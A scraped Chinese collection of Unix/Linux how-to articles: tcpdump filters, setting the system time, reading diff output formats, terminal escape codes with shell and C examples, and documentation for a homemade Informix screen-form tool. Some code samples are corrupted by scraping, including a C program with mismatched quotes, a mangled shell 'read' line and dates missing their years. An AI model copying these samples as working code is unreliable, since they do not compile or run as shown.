tcpdump ‘ host 192.168.240.3 &&( tcp port 80 || tcp port 443)’
通过上面的各种primitive,我们可以写出很丰富的条件,如ip, tcp, udp,vlan等等。如IP,可以按址址进行匹,tcp/udp可以按端口匹配。但是,如果我想匹配更细的条件呢?如tcp中只含syn标志,fin标志的报文呢?上面的primitive恐怕无能为力了。不用怕,tcpdump为你提供最后一个功能最强大的primitive,记住是primitive,而不是expression。你可以用多个这个的primitive组成更复杂的 expression.
篇6:linux下修改系统时间方法介绍linux操作系统
linux下修改系统时间方法,Linux下我们一般使用“date -s”命令来修改系统时间下面我们来看实例,
如将系统时间设定成12月9日的命令如下。
#date -s 12/09/99
将系统时间设定成下午2点18分9秒的命令如下。
#date -s 14:18:09
date
命令不仅可以显示系统当前时间,还可以用它来修改系统时间。
命令格式为:
date -s 时间字符串例如只修改系统的日期,不修改时间(时分秒)
date -s -08-02或只修改时间不修改日期
date -s 10:08:00当然也可以同时修改日期和时间
date -s “2012-05-18 04:53:00”
注意:由于日期和时间之间有空格,所以必须用引号引起来,否则命令会报错,
上述修改只是修改了linux的系统时间,CMOS中的时间可能还没有改变,所以为了保险,需要使用 clock -w 把当前系统时间写入到CMOS中。
root操作用户模式。
方法一:
date 01031824(月日时分年)(完整书写)
date 010318242008.30(月日时分年.秒)
方法二:
1》先设置日期
date -s 20080103
2》设置时间
date -s 18:24
+++++++++++++++++++++++++++++
如果要同时更改BIOS时间
再执行
clock -w
篇7:Unix系统的diff工具程序用法介绍linux操作系统
diff是Unix系统的一个很重要的工具程序,它用来比较两个文本文件的差异,是代码版本管理的基石之一,下面我们一起来看看它的用法。
你在命令行下,输入:
$ diff <变动前的文件><变动后的文件>变动后的文件>变动前的文件>
diff就会告诉你,这两个文件有何差异。它的显示结果不太好懂,下面我就来说明,如何读懂diff。
bg2012082901
一、diff的三种格式
由于历史原因,diff有三种格式:
* 正常格式(normal diff)
* 上下文格式(context diff)
* 合并格式(unified diff)
我们依次来看。
二、示例文件
为了便于讲解,先新建两个示例文件。
第一个文件叫做f1,内容是每行一个a,一共7行。
a
a
a
a
a
a
a
第二个文件叫做f2,修改f1而成,第4行变成b,其他不变。
a
a
a
b
a
a
a
三、正常格式的diff
现在对f1和f2进行比较:
$ diff f1 f2
这时,diff就会显示正常格式的结果:
4c4
< a
—
>b
第一行是一个提示,用来说明变动位置。
4c4
它分成三个部分:前面的”4″,表示f1的第4行有变化;中间的”c”表示变动的模式是内容改变(change),其他模式还有”增加”(a,代表addition)和”删除”(d,代表deletion);后面的”4″,表示变动后变成f2的第4行。
第二行分成两个部分。
< a
前面的小于号,表示要从f1当中去除该行(也就是第4行),后面的”a”表示该行的内容。
第三行用来分割f1和f2。
—
第四行,类似于第二行。
>b
前面的大于号表示f2增加了该行,后面的”b”表示该行的内容。
最早的Unix(即AT&T版本的Unix),使用的就是这种格式的diff。
四、上下文格式的diff
上个世纪80年代初,加州大学伯克利分校推出BSD版本的Unix时,觉得diff的显示结果太简单,最好加入上下文,便于了解发生的变动。因此,推出了上下文格式的diff。
它的使用方法是加入c参数(代表context)。
$ diff -c f1 f2
显示结果如下:
*** f1 2012-08-29 16:45:41.000000000 +0800
— f2 2012-08-29 16:45:51.000000000 +0800
***************
*** 1,7 ****
a
a
a
!a
a
a
a
— 1,7 —-
a
a
a
!b
a
a
a
这个结果分成四个部分。
第一部分的两行,显示两个文件的基本情况:文件名和时间信息。
*** f1 2012-08-29 16:45:41.000000000 +0800
— f2 2012-08-29 16:45:51.000000000 +0800
“***”表示变动前的文件,”—”表示变动后的文件。
第二部分是15个星号,将文件的基本情况与变动内容分割开。
***************
第三部分显示变动前的文件,即f1。
*** 1,7 ****
a
a
a
!a
a
a
a
这时不仅显示发生变化的第4行,还显示第4行的前面三行和后面三行,因此一共显示7行,
所以,前面的”*** 1,7 ****”就表示,从第1行开始连续7行。
另外,文件内容的每一行最前面,还有一个标记位。如果为空,表示该行无变化;如果是感叹号(!),表示该行有改动;如果是减号(-),表示该行被删除;如果是加号(+),表示该行为新增。
第四部分显示变动后的文件,即f2。
— 1,7 —-
a
a
a
!b
a
a
a
除了变动行(第4行)以外,也是上下文各显示三行,总共显示7行。
五、合并格式的diff
如果两个文件相似度很高,那么上下文格式的diff,将显示大量重复的内容,很浪费空间。1990年,GNU diff率先推出了”合并格式”的diff,将f1和f2的上下文合并在一起显示。
它的使用方法是加入u参数(代表unified)。
$ diff -u f1 f2
显示结果如下:
— f1 2012-08-29 16:45:41.000000000 +0800
+++ f2 2012-08-29 16:45:51.000000000 +0800
@@ -1,7 +1,7 @@
a
a
a
-a
+b
a
a
a
它的第一部分,也是文件的基本信息。
— f1 2012-08-29 16:45:41.000000000 +0800
+++ f2 2012-08-29 16:45:51.000000000 +0800
“—”表示变动前的文件,”+++”表示变动后的文件。
第二部分,变动的位置用两个@作为起首和结束。
@@ -1,7 +1,7 @@
前面的”-1,7″分成三个部分:减号表示第一个文件(即f1),”1″表示第1行,”7″表示连续7行。合在一起,就表示下面是第一个文件从第1行开始的连续7行。同样的,”+1,7″表示变动后,成为第二个文件从第1行开始的连续7行。
第三部分是变动的具体内容。
a
a
a
-a
+b
a
a
a
除了有变动的那些行以外,也是上下文各显示3行。它将两个文件的上下文,合并显示在一起,所以叫做”合并格式”。每一行最前面的标志位,空表示无变动,减号表示第一个文件删除的行,加号表示第二个文件新增的行。
六、git格式的diff
版本管理系统git,使用的是合并格式diff的变体。
$ git diff
显示结果如下:
diff –git a/f1 b/f1
index 6f8a38c..449b072 100644
— a/f1
+++ b/f1
@@ -1,7 +1,7 @@
a
a
a
-a
+b
a
a
a
第一行表示结果为git格式的diff。
diff –git a/f1 b/f1
进行比较的是,a版本的f1(即变动前)和b版本的f1(即变动后)。
第二行表示两个版本的git哈希值(index区域的6f8a38c对象,与工作目录区域的449b072对象进行比较),最后的六位数字是对象的模式(普通文件,644权限)。
index 6f8a38c..449b072 100644
第三行表示进行比较的两个文件。
— a/f1
+++ b/f1
“—”表示变动前的版本,”+++”表示变动后的版本。
后面的行都与官方的合并格式diff相同。
@@ -1,7 +1,7 @@
a
a
a
-a
+b
a
a
a
篇8:UNIX系统下部分控制代码介绍及其应用Windows系统
一、锁\开键盘代码 代码定义: 锁键盘:ESC[2h 开键盘:ESC[2l 应用: 1.直接在键盘上顺序敲入Esc+[+2+h四键,键盘即被锁
一、 锁\开键盘代码
代码定义:
锁键盘:ESC[2h
开键盘:ESC[2l
应用:
1.直接在键盘上顺序敲入Esc+[+2+h四键,键盘即被锁住,
2.在C语言程序显示字符串中包含锁代码:printf(″%c[2h字串″,'\033')。
3.在shell程序中用echo命令:echo″^[[2h字串″.注Esc键在vi编辑器中输入方法为:Ctrl+v,然后按一下Esc键,在屏幕上显示^[表示已输入。
同样显示开锁代码则键盘被解锁。
二、 删除字符代码
代码定义:
ESC[nX:清除光标右边n个字符,光标不动。
ESC[K或ESC[OK;清除光标右边全部字符,光标不动。
ESC[1K:清除光标左边全部字符,光标不动。
ESC[2K:清除整行,光标不动。
ESC[J或ESC[OJ:清除光标右下屏所有字符,光标不动。
ESC[1J:清除光标左上屏所有字符,光标不动。
ESC[2J或ESCc:清屏,光标移到左上角。
ESC[nM:删除光标之下n行,剩下行往上移,光标不动。
ESC[nP:删除光标右边n个字符,剩下部分左移,光标不动。
应用:
一般用于自己开发的编辑器中或涉及行编辑的应用程序中。
三、 插入字符代码
代码定义:
ESC[n@:在当前光标处插入n个字符。
ESC[nL:在当前光标下插入n行。
应用:
一般用于自己开发的编辑器中或涉及行编辑的应用程序中。
四、 移动光标
代码定义:
ESC[nA:光标上移n行。
ESC[nB:光标下移n行。
ESC[nC:光标右移n个字符。
ESC[nD:光标左移n个字符。
ESC[n;mH :光标定位到第n行m列(类似代码ESC[n;mf)。
应用:
1.一般用于自己开发的编辑器中或涉及行编辑的应用程序中。
2.用shell编辑的菜单程序中定位光标,如:
echo″^[[10;30H请选择:[ ]^[[9C\c″,则先把光标定位到10行30列,然后显示″请选择[ ]″,最后光标右移9个符定位到中括号内等待用户响应。
五、 定义字符显示属性代码
代码定义:
ESC[p;p;p;……m 其中属性值p可以是一个或多个,具体定义如下:
p 含义
0 清除所有属性
1 高亮度显示
4 下划线(如果硬件支持的话)
5 闪烁(如果硬件支持的话)
25 无闪烁
7 反场(前背景交换)
27 无反场
8 隐藏(不显示)
10 选择基本字体
11 选择第一替代字体;让ASCII值小于32的字符显示时直接取自ROM芯片内
12 选择第二替代字体;在作为ROM字符显示之前先压缩扩展高位ASCII码值
30 前景黑色
31 前景红色
32 前景绿色
33 前景褐色
34 前景蓝色
35 前景紫色
36 前景蓝绿色
37 前景白色
38 开启下划线标志;白色前景用白色下划线
39 关闭下划线标志
40 背景黑色
41 背景红色
42 背景绿色
43 背景褐色
44 背景蓝色
45 背景紫色
46 背景蓝绿色
47 背景白色
应用:
unix系统提供的setcolor命令是以行为单位改变颜色,在实际运用中有它的局限性,上面提到的控制代码在日常生活中用得最多,尤其适合于彩色弹出式立体菜单的设计。如我设计的中心机房值班程序,由于用了这些控制代码,界面非常友好。
六、其它代码
代码定义:
ESC7:保存当前光标位置参数及字符属性,
ESC8:恢复保存的光标位置参数及字符属性。
\n :插入换行符
\t :插入一个Tab键。
\r :插入回车符。
^G :插入响铃符(pc嗽叭鸣叫一次),在vi中按Ctrl+g即可输入。
\c :用于shell程序中,不换行。
应用:
1.用户界面设计。
2.用于中心机房向储蓄柜面发通知的程序中(结合实达终端屏幕保存代码ESC[/n;mr__保存从n行到m行的内容,恢复代码ESC[/11)
七、应用举例
1.彩色立体菜单(shell语言):
setcolor-b white
clear
while true
do
echo″
^[[8;20H^[[34;43m┍―――――――――┒^[[47m
^[[9;20H^[[34;43m | 1 日 间 业 务 | ^[[40m ^[[47m
^[[10;20H^[[34;43m| 2 环 境 维 护 | ^[[40m ^[[47m
^[[11;20H^[[34;43m| 请 选 择 [ ]| ^[[40m^[[47m
^[[12;20H^[[34;43m┕ ┛^[[40m^[[47m
^[[13;22H^[[40m ^[[47m
echo″ ^[[11;40H\c″
read aclearcase/“ target=”_blank“ >cc
done
2.向储蓄所发通知(C语言):
#include
main
{
printf(″%c7%c[/2;4r″,'\033',\033');
printf(″%c[2;5H%c[2K 紧急通知 ″,' \033','\033');
printf(″%c[3;5H%c[2K由于线路问题,今天不办新余市通存通兑业务“,’[033’,’\033’);
printf(″%c[4;5H%c[2K 中心机房 .11.20%c8″,'\033','033','\033');
fflush(stdout);
sleep(10);
printf “%c[/11″,’\033’);
fflush(stdout);
}
说明:该程序首先保存光标位置,同时保存2至4行内容 ,接着定位光标到2行5列,清除该行原先内容,然后显示“紧急通知”字样,通知显示完后立即恢复光标位置,然后等待10秒钟后恢复屏幕原先内容 。
rengongpu 回复于:-01-03 19:43:28好东西。
lcz88990200 回复于:2003-01-03 20:01:19很好
菜虾 回复于:2003-01-04 03:40:21好东东,请多多指点
cxzty 回复于:2003-01-04 10:47:57真是个好东西呀
lovqing 回复于:2003-01-04 11:52:27up
study 回复于:2003-01-04 15:47:05好东西!
flybirdxp 回复于:2003-01-04 15:52:31好东西
johnsilver 回复于:2003-01-04 18:03:14我原来也从脚本中收集了一些控制字符,但没有htldm的全,不错,感谢你.
jysww 回复于:2003-01-04 18:58:09好东西! 好东西!
RootZero 回复于:2003-01-05 00:46:00路过,收藏
linziwei 回复于:2003-01-05 10:34:18另存为..........
大梦 回复于:2003-01-05 12:05:59好东西!
xzh 回复于:2003-01-05 14:19:56谢谢!
天明700 回复于:2003-01-06 17:08:17佩服,佩服,
老兄,你太棒了!
收下,
谢谢!!!!!!!
cqdxs 回复于:2003-01-11 13:28:49不错
sensir 回复于:2003-01-11 14:46:08GOOD
原文转自:www.ltesting.net
篇9:UNIX系统下informix自制开发工具构思介绍数据库教程
unix
前 言
当前WINDODS 上的编程工具日新月异,推陈出新;然而因UNIX运用的局限性,其编程工
具十分贫乏,在UNIX上要做画面、菜单、查询、输入,编程者往往要从底层入手,重复劳动
,效率极低。笔者为了解决这个问题而尽点力,将本系统介绍给您,如您能读完本文,收获
一定不少。
编者:王光红
EMAIL: wgh166@hotmail.com
wghsoftware@hotmail.com
软件下载:
www.csdn.net/cnshare/soft/16/16735.shtm
www.ccrun.com/program/down.asp?id=10
一。系统介简
(一)实现功能∶
用于UNIX上做画面、菜单、查询、输入、修改;可操作数据库。
(二)设计思路∶
将人机对话,可分为基本的输入与输出两大类,在此前提下,为了不同的需要把域分作
多种类型;对涉及数据库的域指明有关的表名、字段名,以进行数据库的读写。将这些
不同功能的域有机的组合在一个FORM中,来实现一个功能模块。将FORM编号,按一定的
结构以二进制的形式存入文件,在使用时,系统按编号读入FORM的数据,按步实现预定
的功能。
(三)软件环境∶
1.操作系统SCO UNIX OpenServer 5.0、SCO UNIX OpenServer 3.0、SCO UNIX 3.0。
2.编程语言 C、INFORMIX/ESQL。
说明∶笔者的工作条件仅限于以上环境,如能提供其他的UNIX、SQL数据库(如ORACLE、
SYBASE等), 系统只需略加修改。
二。系统的文件与库
(一)集成开发器执行程序∶
/usr/wform/bin/mkform FORM的定制工具
/usr/wform/bin/netform FORM的定制工具(网络版)
/usr/wform/bin/net_server FORM的数据服务器
(二)配置文件∶
FORM的配置文件的路径由环境变量CONFIGPATH指定,缺省为/usr/wform/etc/form.cfg
文本文件
它规定UNIX编辑器、FORM参数文件的路径;菜单的格式;存储变量的多少;
特殊键的键值。
(三)FORM参数文件∶
FORM参数文件的路径在配置文件中声明。
二进制文件
存放Dialog结构FORM的数据,系统读此文件,按步执行。
mkform(netform)的画面的参数文件是 /usr/wform/etc/form.bin.sys
(四)帮助信息文件:
帮助信息文件的路径由环境变量MSGPATH指定,缺省为 /usr/wform/etc/form_msg.dat
文本文件
(五)系统说明文件:
系统说明文件 /usr/wform/etc/readme.frm
(六)程序库:
/usr/wform/lib/libsetform.a 在SCO UNIX OpenServer 5.0上生成。
/usr/wform/lib/libnetform.a 在SCO UNIX OpenServer 5.0上生成(网络版)。
(七)演示例程∶
1.两个FORM参数文件∶
/usr/wform/data/demo.form
/usr/wform/data/test.form
2.菜单式演示程序∶
/usr/wform/menu/menu
/usr/wform/menu/menu.ec
/usr/wform/menu/print.c
/usr/wform/menu/errhandle.c
/usr/wform/menu/makefile
/usr/wform/menu/mknet 链接libnetform.a的makefile
3.交易式演示程序∶
/usr/wform/trade/trade
/usr/wform/trade/trade.ec
/usr/wform/trade/makefile
/usr/wform/trade/mknet 链接libnetform.a的makefile
4.两个数据库∶
/usr/wform/demo.exp
/usr/wform/test.exp
说明:演示程序menu、trade使用的数据库是test,form参数文件是test.form。
三。系统的基本概念及用途
(一)FORM的结构:
typedef struct _item_st_ {
char flag; //数据类型(或标志)
char len; //数据长度
char seat_y; //纵坐标
short seat_x; //横坐标
char fun; //FORM中嵌入的函数指针编号
char field[41]; //复合域
}Item;
typedef struct tagOfDialog {
unsigned long form_id; //交易号
unsigned long link_form; //连接交易
char mode; //驱动方式
char key; //索引项
short num; //以下Item的个数
Item *f; //FORM中域的结构
}Dialog;
(二)基本概念及用途
1.[交易号] (Dialog.form_id)
FORM的编号,以此为索引。
2.[连接交易] (Dialog.link_form)
FORM结束后调用的另一个FORM的交易号,此值=0,则不调用。
3.[驱动方式] (Dialog.mode)
以确定FORM的性质。
M∶菜单
P∶打印
B∶浏览
E∶结束清域
D∶结束删除WINDOW
S∶屏幕滚动
C∶综合查询
4.[索引项] (Dialog.key)
指定查询条件的字段数, 其值是对应于[序],序号小于等于该值的字段为查询条
件。 仅对查询类FORM有效。
以下为FORM中域的结构(Dialog.f),域的数量可变。
5.[类型] (Dialog.Item->flag)
标志符 用 途 数据类型 SQLDateType
(1) 输入输出项
C、c 普通字符串 char char
H 汉字 char char
R 日期(对字符串进行日期合法性检查) char char
A 帐号(对字符串有复制功能) char char
P 密码(不回显) char char
G 选项 char char
F 帮助项 char char
D、d 日期(自1899.12.31起至今的天数) long char
M、m 金额 double money, float
N、n 数值 long intger, smallint
以上大写的字符是输入项、小写的字符是输出项。
可在复合区指明表名和字段名, 形如table.field
(2) 杂项
t 提示
f 菜单格式
B 值域检查(对上一项值进行检查)
b 数据库(指定远程数据库),形式database@host
l 标题
i 菜单条目
x 执行 SQL语句
- 连接符
| 划线符
# 画背景符
W
当无需指定表和字段时, 复合区前四位存入坐标, 后面的字符可作标题
类型为 'l', 坐标=0, 则作表头用。
6.[长度]
对输出输出项而言是数据长度;对杂项'|','#'是代表颜色。
字符串数据长度<=128。
金额的长度 <=16∶长度是小数点前和小数点后位数总数,小数点后定为二位。
例∶长度=14,
小数点前12位,小数点后2位。
金额的长度 >=20∶
个位是小数点后位数, 个位前是小数点前的位数。
例∶长度=125,
小数点前12位,小数点后5位。
金额的长度 >=17and<20非法.
7.[坐标]
对一般的FORM后二位是横坐标。前面是纵坐标;纵坐标<24。
对于浏览器的坐标有特别规定:
当坐标值大于2499∶ 后三位是横坐标,前面是纵坐标。
横坐标的最大值512.
例∶坐标值5150表示∶ 横坐标=150,纵坐标=5。
8.[嵌入函数]
FORM中嵌入的函数指针编号,当程序执行完该域后,调用一个特定的函数,函数
指针须初始化符值。
9.[复合域]
是多用途的域,可用作写标题、SQL语句、数据库表名、字段名等。
四。实例讲解(略)
五。本系统的函数及运用
(一) 系统的定义∶
宏及FORM结构 wform.h
变量定义 wvai.h
嵌套函数指针 fun.h
(二) 系统函数的调用:
1. 菜单的调用: int SetMenu(long id)
id是主菜单的编号。
返回值是反映程序执行到菜单第几层的第几项,祥见菜单制作.
2. FORM的调用: int SetupForm(long id, short wincode)
id是FORM的编号。
wincode 是窗口的编号(0-9).
如同时用多个窗口,窗口编号须不同,否则会覆盖。
返回值:
0 取消 (即按[ESCAPE]退出)
1 正常 (即按[ENTER] 退出)
>1 按热键或自定义键返回
对某些特殊键和自定义键,即退出FORM,返回值如下∶
键 名 返回码
借方键 DEBIT
贷方键 CREDIT
向前键 PREVIOES
向后键 NEXT
热键 HOTKEY
发送键 FINISHKEY
自定义键 键值+2000
3. 其他函数∶
(1) int MsgBox(char type, const char *fmt, .../* args */);
用途∶信息提示。信息长度小于80在屏幕底线显示,否则在当前光标下组成BOX.
type∶MSGERR(0) 错误 MSGPROM(1) 提示 MSGWAIT(2) 等待 MSGWARN(3) 警告
用法同printf函数。
(2) void SetFormPara(short mode, short para);
用途∶设FORM参数。
mode:
宏 数值 作 用
WINFRAME 0 para:1 窗口画框 0 窗口无框 缺省值 0
F_COLOR 1 设定前景色 缺省值COLOR_WHITE(白色)
B_COLOR 2 设定背景色 缺省值COLOR_BLACK(黑色)
具体色彩参数见
DISPLAYMODE 3 para:1 预显示原值
0 不显示
缺省值 0
FIELDBOUND 4 para:1 对输入项划定界符 ”[......]“
0 不划
缺省值 1
DISPLAYBOLD 5 para:1 显示的字符为高亮
缺省值 0
ENTERDEFAULT 6 para:1 输入项只按[ENTER],复制成原值。
缺省值 0
LINETYPE 7 para:1 双线
0 单线
缺省值 1
PATTERNFRONT 8 para:1 运行菜单时,输入的字符与菜单选项的
第一个字符相同,能选中并自动回车。
0 不能自动回车。
缺省值 1
(3) void TouchForm(short wincode)
用途∶重显被覆盖的FORM.
(4) int SqlMsg(short sqlcode)
用途∶能提供错误信息,反映程序执行到何处(那个文件的那一行)。
通常用于SQL执行错误返回。
(5) void DelDlgwin(short wincode)
用途∶删除FORM.
(6) int SkipDomain(short step)
用途∶跳过若干个域(step)。用于嵌入函数。
(7) void Rfmtdate(date i_date, char *fmt, char *result)
用途∶将INFORMIX中的date转成char.
例∶
1899.12.31至1999.12.4的天数是36132.
Rfmtdate(36132, ”mm-dd-yyyy“, result);
result=”12-04-1998“
Rfmtdate(36132, ”mm-dd-yy“, result);
result=”12-04-98“
Rfmtdate(36132, ”日期: YYYY年MM月DD日“, result);
result=”日期: 一九九八年十二月四日“.
(8) void Rfmtdouble(double money, char *fmt, char *result)
用途∶将double转成char.
例∶
double a=-9030236.035;
Rfmtdate(a, ”---,---,--9.999“, result);
result=” -9,030,236.035“
(9) char *DoubleToStr(double money, const char *fmt);
用途∶将double转成char返回(char *).
(10) void PrintForm(short wincode, short lin, short col, char *fmt, ...);
用途∶向FORM输送字符.
(11) int RunFunction(int (*fun)(), char *msg);
用途∶运行函数fun时,在屏幕底显示信息msg,隔一秒钟跳动字符 '>'。
例∶
见menu.ec的280行。
RunFunction(DeleteDetail, ”正在清理数据“);
如果函数DeleteDetail()不在menu.ec中,
必须声明extern int DeleteDEtail();
(12) int CallFunction(int (*fun)(), char *msg);
用途∶同RunFunction(),不跳动字符。
(13) char *PntName();
用途∶获得打印输出的设备名。
在主控台上得到”/dev/lp0“,在终端上得到相应的终端号”/dev/tty???“
(14) void Draws(WINDOW *w, int b_y, int b_x, int e_y, int e_x)
用途∶在指定的窗口画线。
起点坐标(b_x, b_y) 终点坐标(e_x, e_y)
b_x=e_x 画垂直线。
b_y=e_y 画水平线。
b_x!=e_x b_y!=e_y 画矩形。
(15) int FormPath(char *path);
用途∶
调用该函数设置FORM的参数的路径, 确省路径在配置文件中设定。
(16) InsetFun(n, fun);
用途∶
函数指针初始化。
n 是函数指针的编号,fun是函数名.
(三) 关于嵌入函数的使用:
作用∶当FORM执行到某一域时调用的函数.
我们通过menu.ec这个程序来说明嵌入函数的运用。
****注意∶以下是test.form中的 110号form.
[命令] g [交易号] 110 [连接交易] 0 [驱动方式] E [索引项] 0
[序] [类型][长度][坐标][嵌入函数] [ 复 合 域 ]
0 C 3 1237 0 bank.exchno
1 c 20 1337 0 bank.officename
2 R 8 1537 1
3 t 0 0 0 日期须本日前一星期内
4 A 7 1737 0
5 M 10 1937 0
6 B 0 0 0
7 i 0 0 0 62.50
8 i 0 0 0 999999.99
9 C 1 2137 0
10 B 0 0 0
11 i 0 0 0 [1,4]
12 l 0 1226 2 受 理 行
13 l 0 1326 0 行 名∶
14 l 0 1526 0 凭证日期
15 l 0 1726 0 号 码
16 l 0 1926 0 金 额
17 l 0 2126 0 联 次
18 l 0 2224 0
第 2、12域有嵌入函数∶1、2是函数指针的编号,分别代表函数CheckDate()、Pattern().
函数指针初始化∶
InsetFun(1, CheckDate);
InsetFun(2, Pattern);
见menu.ec中第217、218行。
当程序执行完第 2域(即输入日期),系统就调用函数CheckDate(),以检查日期
是否本日至前一星期内,如日期正确函数返回 0,程序继续执行; 如日期错误函
数返回-1, 程序仍停止在第 2域。如函数返回-3程序退回到第 0域。
设SN为程序执行的序号.
ret=Fun[n]();
SN +=ret;
你可根据需要函数返回值,如返回值为2,就会跳过2个域。
当程序执行完第11域,系统就调用函数Pattern(),进行凭证配对。
(四)关于FORM的值∶
1.类型.
类 型 变量名 宿主变量名 FORM编辑器的代名
字符(char) Chars(n) $INFString[n] $Cn
整型(long) Number[n] $Number[n] $Nn
金额(double) Money[n] $Money[n] $Mn
日期(long) Date[n] $Date[n] $Dn
注∶
n是顺序号
Chars(n)是宏,C语言中Chars(n)、INFString[n]都可用;
SQL语言中只能用INFString[n],不能用宏Chars(n);
2.值的配置.
系统根据配置动态申请内存,按你的需要调整系统配置(或修改form.cfg),
确定值的个数.
3.值的顺序.
用下例来说明∶
[序] [类型][长度][坐标] 对应的变量 注 解
0 C 3 1237 Chars(0) 'C'字符型第 1 次出现
1 c 20 1337 Chars(1) 'c'字符型第 2 次出现
2 H 8 1537 Chars(2) 'H'字符型第 3 次出现
3 A 7 1737 Chars(3) 'A'字符型第 4 次出现
4 M 10 1937 Money[0] 'M'金额型第 1 次出现
5 B 0 0 控制类与变量无关
6 i 0 0 控制类与变量无关
7 i 0 0 控制类与变量无关
8 c 11 2120 Chars(4) 'c'字符型第 5 次出现
9 B 0 0 控制类与变量无关
10 i 0 0 控制类与变量无关
11 m 12 2126 Money[1] 'm'金额型第 2 次出现
12 F 1 2146 Chars(5) 'F'字符型第 6 次出现
13 i 0 0 控制类与变量无关
14 i 0 0 控制类与变量无关
15 N 6 2170 Number[0] 'N'长整型第 1 次出现
六。使用FORM的用户环境
用户可设置以下环境变量
(1)CONFIGPATH: FORM的配置文件的路径。缺省为 /usr/wform/etc/form.cfg
FORM的参数的路径在配置文件中设定。
用户的程序中可在启动FORM前,调用FormPath(char *path)设定路径。
(2)MSGPATH: 帮助项信息文件路径。缺省为 /usr/wform/etc/form_msg.dat
(3)NETCONFIGFILE:通讯的配置文件,适用于本系统网络版,客户及服务端都
需要,缺省为 /usr/wform/etc/sys.net
七。FORM生成器(mkform、netform)的使用
_.----..__.'
_ / -._
__ ``-._ ) | ||..\\\ .\ \`-
-'_ `-._ /( `-.\ / // |\
/-'' ``-._| \`-. .`. / | |\ \\ | | \
/_.---.__.| `_/``' `-..-'_/_/ /_/ |//\ \
_..--'/ /' -._ .'”(@ ` @`/-._ \ \
( ' /\ `-.` `(| _' ;`-. ` `_ `.
/ / ``-._ _.'| _ ` ,' '_.-` .'
/ /-------- ``'-~-' `;`~'`` . '
'._ \\ ` \\ / . '
```` --- .. -. \\ \\'
`\ \ \\ \\
`. | || . || ┏━━━━━选择━━━━━┓
\ . || .' `-|| ┃ V 全屏幕编辑_______(0)┃
\ `||' ;|| ┃ T 交易式演示程序___(1)┃
;|| '// ┃ M 菜单式演示程序___(2)┃
_; || // [ ]┃ D 显示系统配置_____(3)┃
/.``||..__.-; ┃ A 调整系统配置_____(3)┃
.'` ``-._|_|.-| ┃ S 清理FORM_________(5)┃
/ ; ┃ P 改变FORM参数路径_(6)┃
; ; ┃ L 登记注册_________(7)┃
; ; ┃ E 退出_____________(8)┃
; ,' ┗━━━━━━━━━━━━┛
------------ 图10 --------------
(一)运行mkform(或netform)
mkform的用法∶mkform. -d database -f filename
1.打开数据库∶ -d database 可省略(不访问数据库)。
2.指定FORM参数文件名∶-f filename 如省略则按系统配置文件中指定的路径。
mkform与netform的主要区别:mkform对远程数据库的访问是利用了informix本
身的功能,也就是由sqlexecd提供服务;netform访问数据库的服务程序(net_server)由
作者编写,在数据安全方面进行了控制,所以在运行netform的同时,必须启动net_server
服务程序。
(二)菜单功能
当你运行mkform时,就出现图10,下面就菜单的功能逐一介绍∶
1. V 全屏幕编辑
进入FORM的编辑、定制程序。(祥见以下关于FORM编辑的一章)。
2. T 交易式演示程序
演示以交易码驱动的程序。
3. M 交易式演示程序
演示以菜单驱动的程序。
4. D 显示系统配置(图11)
配置文件的路径由环境变量CONFIGPATH指定,缺省为 /usr/wform/etc/form.cfg
┏━━━━━━━━━━━ 系 统 配 置 ━━━━━━━━━━━┓
┃ 0. FORM参数路径: ../data/demo.form ┃
┃ 1. 编缉命令: /usr/bin/vi ┃
┃ ┃
┃ 2. 字符型(char)个数: 50 3. 数值型(long)个数: 10 ┃
┃ 4. 金额型(double)个数: 10 5. 日期型(date)个数: 8 ┃
┃ ┃
┃ 6. 菜单最大项数: 100 ┃
┃ 主菜单格式: ( 7. 2 8. 5 ) ┃
┃ 子菜单格式: ( 9. 12 10. 1 ) ┃
┃ ┃
┃ 11.双零键: 46 12.四零键: 47 ┃
┃ 13.五零键: 42 14.六零键: 45 ┃
┃ 15.借方键: 3 16.贷方键: 4 ┃
┃ 17.向前键: 91 18.向后键: 93 ┃
┃ 19.热 键: 26 20.发送键: 10 ┃
┃ ┃
┃ 选择: [ ] (Esc取销) ┃
┃ ┃
┃ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
------------ 图11 --------------
5. A 调整系统配置
只有root用户才能调整系统配置,
编缉命令: 编辑FORM所调用的文本编辑程序。
主菜单格式: ( 7. 2 8. 5 )
该项配置说明主菜单格式是 2行, 5列。
选择第 7项修改行数,选择第 8项修改列数。
子菜单格式: ( 9. 12 10. 1 )
该项配置说明主菜单格式是12行, 1列。
选择第 9项修改行数,选择第10项修改列数。
6. S 清理FORM
对作废和删除的FORM定期清理。
7. P 改变FORM参数路径
FORM参数路径在mkform启动时或系统配置文件中指定,如果你需要其他的FORM
参数文件可由此选项改变。
8. L 登记注册。
9. E 退出系统。
(三)关于FORM编辑
在图10中的菜单选第 0项,就进入图12。
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ [命令] ┏━━━━━━━┓ [连接交易] 0 [驱动方式] [索引项] ┃
┃ [序] [类型┃a 进入___(00) ┃函数] [ 复 合 域 ]┃
┃ 0 ┃e 退出___(01) ┃ ┃
┃ 1 ┃g 取数___(02) ┃ ┃
┃ 2 ┃h 帮助___(03) ┃ ┃
┃ 3 ┃s 演示___(04) ┃ ┃
┃ 4 ┃u 恢复___(05) ┃ ┃
┃ 5 ┃d 设计___(06) ┃ ┃
┃ 5 ┃v 编辑___(07) ┃ ┃
┃ 6 ┃w 存盘___(08) ┃ ┃
┃ 7 ┃F 单选___(09) ┃ ┃
┃ 8 ┃D 删除___(10) ┃ ┃
┃ 9 ┗━━━━━━━┛ ┃
┃ 10 ┃
┃ 11 ┃
┃ 12 ┃
┃ 13 ┃
┃ 14 ┃
┃ 15 ┃
┃ 16 ┃
┃ 17 ┃
┃ 18 ┃
┃ 19 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
------------ 图12 ------------
图12中的命令菜单功能∶
1. a 进入本系统的FORM编辑器,编辑的窗口每屏是20项,共 5屏;
当光标到最后一行,再按↓键,就可翻到下一屏。
2. e 退出本编辑器。
3. g 取数
输入交易号就可读到此交易的FORM参数。
4. h 帮助
显示文本/usr/wform/etc/readme.frm.
5. s 演示FORM
输入交易号就可此交易的FORM框架,演示输入、查询的过程。
6. u 恢复被误删除的FORM.
7. d 设计
利用UNIX编辑工具,对FORM进行初步的定制。具体的方法详见FORM的定制。
7. v 编缉
利用UNIX编辑工具,对FORM的参数进行设定。具体的方法详见FORM的编辑。
9. w 存盘
